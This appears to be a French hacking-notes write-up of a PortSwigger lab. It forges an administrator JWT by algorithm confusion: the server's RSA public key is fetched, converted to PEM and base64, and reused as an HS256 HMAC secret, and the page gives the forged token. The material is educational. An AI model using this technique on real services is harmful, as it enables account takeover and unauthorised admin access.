> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-algorithm-confusion.md).
# Contournement de l’authentification JWT via une confusion d’algorithmes
### Contournement de l'authentification JWT via une confusion d'algorithme
**Description du laboratoire**
Ce laboratoire utilise un mécanisme de session basé sur JWT. / Les jetons sont normalement signés et vérifiés à l'aide d'un mécanisme robuste **RSA** paire de clés. / Cependant, une implémentation médiocre rend l'application vulnérable à une **confusion d'algorithme**.
Objectif :
* Récupérez la clé publique du serveur exposé via un point de terminaison standard.
* Utilisez cette clé pour forger un JWT valide permettant l'accès au `/admin` panneau d'administration.
* Supprimer l'utilisateur **carlos**.
Identifiant fourni :
* **wiener : peter**
**JWT initial**
Le cookie de session contient le JWT suivant :
{% code overflow="wrap" %}
```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoid2llbmVyIn0.H9bVHxG5sHp4pcgkshhKMCOmPg8nSbjANDKoovntBwnJn8plUuGNC4tE_Iam9fIXYiZxTc5DjpLp8vhizHN34nfs1E31EzA59kYf2qNzV7ZbCiIayJPv_jqfCmDz8tRB5wtMecb1R8PkDNZ4sszfXaqLjbDQYRd_BxDVx_Sq-mHOJkVlfdgdZtalYbTnkomyVibvFNpSotmCGRQnbs7bgYT-z0E__-0Nx2BVV_bIeElCfDcnuAZhvt768kp9VxP023wJ7O-7hJdRwvKaqREA2oxHNn2awWu6dXACp8NMfSP_T7GOIByC4Iqj2rc26JmTZW2loDicEOztvQo0ZQ_YCQ
```
{% endcode %}
**Récupération de la clé publique**
La clé publique du serveur est accessible via :
* `/.well-known/jwks.json`
* ou `/jwks.json`
Contenu renvoyé (JWKS) :
{% code overflow="wrap" %}
```json
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "RS256",
"n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
]
}
```
{% endcode %}
**Modification de la charge utile**
La charge utile du JWT est modifiée pour usurper le compte administrateur :
```json
{
"iss": "portswigger",
"exp": 1767551470,
"sub": "administrator"
}
```
Création de clé RSA
Copier, coller le fichier jwks.json
```json
{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "RS256",
"n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
```
**Conversion de la clé publique**
La clé publique RSA est convertie en **PEM** format :
```bash
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiQWjnDjzeQvu5t8YoeFo
21Ez1xfEA+L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeu
qDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4/iIIjn3WqsTb8l2YXG89ysd
vXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj+95ZXa6HRkrGpF0
TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC+k6OhDRhkKV3P3WLP5rZ34ZE+
UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4+B+gAv+80GZBPbMRBT2
oQIDAQAB
-----END PUBLIC KEY-----
```
Cette clé est ensuite encodée en **Base64**.
```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
```
**Créer une clé symétrique (oct)**
La clé publique encodée en Base64 est utilisée comme secret HMAC :
```json
{
"kty": "oct",
"kid": "b164d13f-f42e-4d78-a539-fbb4b0eb267a",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
```
**Confusion d'algorithme**
L'en-tête du JWT est modifié pour forcer l'utilisation de **HS256**:
```json
{
"kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
"alg": "HS256"
}
```
Le serveur utilise alors la clé publique RSA comme secret HMAC, ce qui permet de signer un JWT accepté comme valide.
\*\* JWT forgé final\*\*
```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9._5C_qAZINXvvykAGhPVxUrWNxzyFnjsI49lONaKnk3A
```
Ce jeton donne accès au panneau d'administration, permettant de finaliser le laboratoire en supprimant l'utilisateur **carlos**.
---
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